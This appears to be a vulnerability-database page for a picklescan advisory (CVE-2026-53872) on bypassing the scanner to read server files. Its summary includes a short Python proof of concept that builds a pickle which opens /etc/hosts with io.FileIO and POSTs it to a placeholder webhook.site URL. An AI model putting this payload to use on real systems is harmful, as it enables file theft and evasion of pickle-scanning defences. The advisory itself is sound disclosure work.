Advisory details:
pypa / picklescan/PYSEC-2026-1787
| Advisory ID | pypa/picklescan/PYSEC-2026-1787 |
| Aliases |
CVE-2026-53872
GHSA-9726-w42j-3qjr PYSEC-2026-1787 |
| Summary | picklescan has Arbitrary file read using `io.FileIO` ### Summary Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server. ### Details The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features: 1. io.FileIO: Opens local files without using builtins.open. 2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request. 3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling. ### PoC ```python import pickle, io, urllib.request class GetFile: def __reduce__(self): return (io.FileIO, ('/etc/hosts', 'r')) class Exfiltrate: def __reduce__(self): return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile())) with open("bypass_http.pkl", "wb") as f: pickle.dump(Exfiltrate(), f) ``` <img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" /> ### Impact - Arbitrary file read Thanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 6.9 |
| Risk | 3.5 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| There are no known CWE. |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 7.5 | https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-1787.yaml |
| cvssv4 | 7.7 | https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-1787.yaml |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/mmaitre314/picklescan | ||
| https://github.com/mmaitre314/picklescan/commit/a01c58d5dd7960db557b849817c0ab83ab111ef1 | ||
| https://github.com/mmaitre314/picklescan/pull/55 | ||
| https://github.com/mmaitre314/picklescan/releases/tag/v0.0.35 | ||
| https://pypi.org/project/picklescan | ||
| CVE-2026-53872 | https://nvd.nist.gov/vuln/detail/CVE-2026-53872 | |
| GHSA-9726-w42j-3qjr | https://github.com/advisories/GHSA-9726-w42j-3qjr | |
| GHSA-9726-w42j-3qjr | https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr | |
| picklescan-arbitrary-file-read-via-unsafe-pickle-deserialization | Advisory | https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserialization |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-06-17T17:34:46Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/53xxx/CVE-2026-53872.json
Source Advisory: vulnrichment/CVE-2026-53872
[{'Exploitation': 'poc'},
{'Automatable': 'yes'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]